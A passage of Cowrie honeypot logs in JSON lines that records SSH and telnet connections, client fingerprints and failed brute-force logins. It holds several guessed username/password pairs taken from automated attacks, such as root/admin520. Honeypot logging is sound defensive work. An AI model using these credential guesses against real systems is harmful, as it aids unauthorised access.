"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:19.880863Z","src_ip":"210.183.21.53","session":"888284e270e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat","message":"login attempt [ubuntu/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:20.720945Z","src_ip":"210.183.21.53","session":"888284e270e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:21.925475Z","src_ip":"210.183.21.53","session":"888284e270e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.141.121.74","src_port":28047,"dst_ip":"10.17.0.5","dst_port":23,"session":"edcd705dbfc1","protocol":"telnet","message":"New connection: 190.141.121.74:28047 (10.17.0.5:23) [session: edcd705dbfc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:32.470912Z"}
{"eventid":"cowrie.session.closed","duration":13.068969488143921,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:45.539770Z","src_ip":"190.141.121.74","session":"edcd705dbfc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55814,"dst_ip":"159.203.135.109","dst_port":23,"session":"d958970baf2d","protocol":"telnet","message":"New connection: 185.26.126.47:55814 (159.203.135.109:23) [session: d958970baf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:50.723090Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":57282,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e15e4aa8396","protocol":"ssh","message":"New connection: 72.79.42.117:57282 (159.203.135.109:22) [session: 3e15e4aa8396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:57.212089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:57.219152Z","src_ip":"72.79.42.117","session":"3e15e4aa8396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:57.232398Z","src_ip":"72.79.42.117","session":"3e15e4aa8396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"elastic123","message":"login attempt [es/elastic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:57.297143Z","src_ip":"72.79.42.117","session":"3e15e4aa8396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:06:58.309510Z","src_ip":"72.79.42.117","session":"3e15e4aa8396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":55152,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fee523c833d","protocol":"telnet","message":"New connection: 69.65.3.189:55152 (10.17.0.5:23) [session: 6fee523c833d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:11.177837Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":56292,"dst_ip":"10.17.0.5","dst_port":22,"session":"526a5a6ba3c3","protocol":"ssh","message":"New connection: 210.183.21.53:56292 (10.17.0.5:22) [session: 526a5a6ba3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:14.543560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:14.548552Z","src_ip":"210.183.21.53","session":"526a5a6ba3c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:14.752739Z","src_ip":"210.183.21.53","session":"526a5a6ba3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server2020","message":"login attempt [server/server2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:15.592350Z","src_ip":"210.183.21.53","session":"526a5a6ba3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:16.796968Z","src_ip":"210.183.21.53","session":"526a5a6ba3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.95258164405823,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:40.675559Z","src_ip":"185.26.126.47","session":"d958970baf2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":34530,"dst_ip":"159.203.135.109","dst_port":22,"session":"75beae16c0f3","protocol":"ssh","message":"New connection: 72.79.42.117:34530 (159.203.135.109:22) [session: 75beae16c0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:44.776049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:44.781335Z","src_ip":"72.79.42.117","session":"75beae16c0f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:44.789639Z","src_ip":"72.79.42.117","session":"75beae16c0f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin520","message":"login attempt [root/admin520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:44.859736Z","src_ip":"72.79.42.117","session":"75beae16c0f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:45.871663Z","src_ip":"72.79.42.117","session":"75beae16c0f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.18666315078735,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:07:49.364385Z","src_ip":"69.65.3.189","session":"6fee523c833d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":45062,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c6caeac7900","protocol":"ssh","message":"New connection: 210.183.21.53:45062 (10.17.0.5:22) [session: 6c6caeac7900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:09.672663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:09.676880Z","src_ip":"210.183.21.53","session":"6c6caeac7900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:09.878384Z","src_ip":"210.183.21.53","session":"6c6caeac7900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server123456","message":"login attempt [server/server123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:10.716049Z","src_ip":"210.183.21.53","session":"6c6caeac7900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00152015686035,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:11.353465Z","src_ip":"105.172.105.4","session":"e1e04958da27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:11.920582Z","src_ip":"210.183.21.53","session":"6c6caeac7900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00106763839722,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:14.333570Z","src_ip":"105.172.105.4","session":"41ba3539f2eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":38486,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c9d7dc4a98","protocol":"telnet","message":"New connection: 105.172.105.4:38486 (159.203.135.109:23) [session: 57c9d7dc4a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:15.280373Z"}
{"eventid":"cowrie.session.closed","duration":120.00125741958618,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:18.195610Z","src_ip":"105.172.105.4","session":"204c4847e111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":1094,"dst_ip":"159.203.135.109","dst_port":23,"session":"71649d579e01","protocol":"telnet","message":"New connection: 105.172.105.4:1094 (159.203.135.109:23) [session: 71649d579e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:18.690639Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":46246,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4d17e0869c9","protocol":"ssh","message":"New connection: 72.79.42.117:46246 (159.203.135.109:22) [session: a4d17e0869c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:31.925854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:31.930459Z","src_ip":"72.79.42.117","session":"a4d17e0869c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:31.939029Z","src_ip":"72.79.42.117","session":"a4d17e0869c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"admin01","message":"login attempt [admin01/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:32.001997Z","src_ip":"72.79.42.117","session":"a4d17e0869c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:33.012600Z","src_ip":"72.79.42.117","session":"a4d17e0869c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60810,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f9e94e06347","protocol":"telnet","message":"New connection: 185.26.126.47:60810 (159.203.135.109:23) [session: 5f9e94e06347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:41.305830Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":44522,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2cde5ee61f0","protocol":"ssh","message":"New connection: 36.92.140.209:44522 (159.203.135.109:22) [session: a2cde5ee61f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:51.198232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:51.213675Z","src_ip":"36.92.140.209","session":"a2cde5ee61f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:51.495931Z","src_ip":"36.92.140.209","session":"a2cde5ee61f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Support_2024","message":"login attempt [root/Support_2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:52.733754Z","src_ip":"36.92.140.209","session":"a2cde5ee61f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:54.042678Z","src_ip":"36.92.140.209","session":"a2cde5ee61f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.806347131729126,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:08:56.112059Z","src_ip":"185.26.126.47","session":"5f9e94e06347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":33828,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f3d3ec8b2a","protocol":"ssh","message":"New connection: 210.183.21.53:33828 (10.17.0.5:22) [session: 93f3d3ec8b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:06.708712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:06.713947Z","src_ip":"210.183.21.53","session":"93f3d3ec8b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 